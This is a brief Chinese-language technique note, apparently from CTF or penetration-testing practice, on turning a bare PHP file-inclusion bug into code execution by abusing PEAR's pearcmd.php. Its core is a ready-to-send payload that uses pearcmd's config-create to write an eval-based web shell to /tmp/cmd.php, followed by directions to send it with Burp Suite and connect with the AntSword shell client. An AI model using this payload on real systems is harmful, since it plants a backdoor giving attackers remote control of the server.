PHP裸文件包含

这个点主要是使用了pearcmd.php这个pecl/pear中的文件。

PEAR PHP扩展和应用程序存储库（PHP Extension and Application Repository）是可重用PHP组件的框架和分发系统。

第二个点同样在docker中默认开启，当然真实环境中默认关闭

payload?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[1]);?>+/tmp/cmd.php

最好用burpsuite发包,之后访问/tmp/cmd.php连接蚁剑即可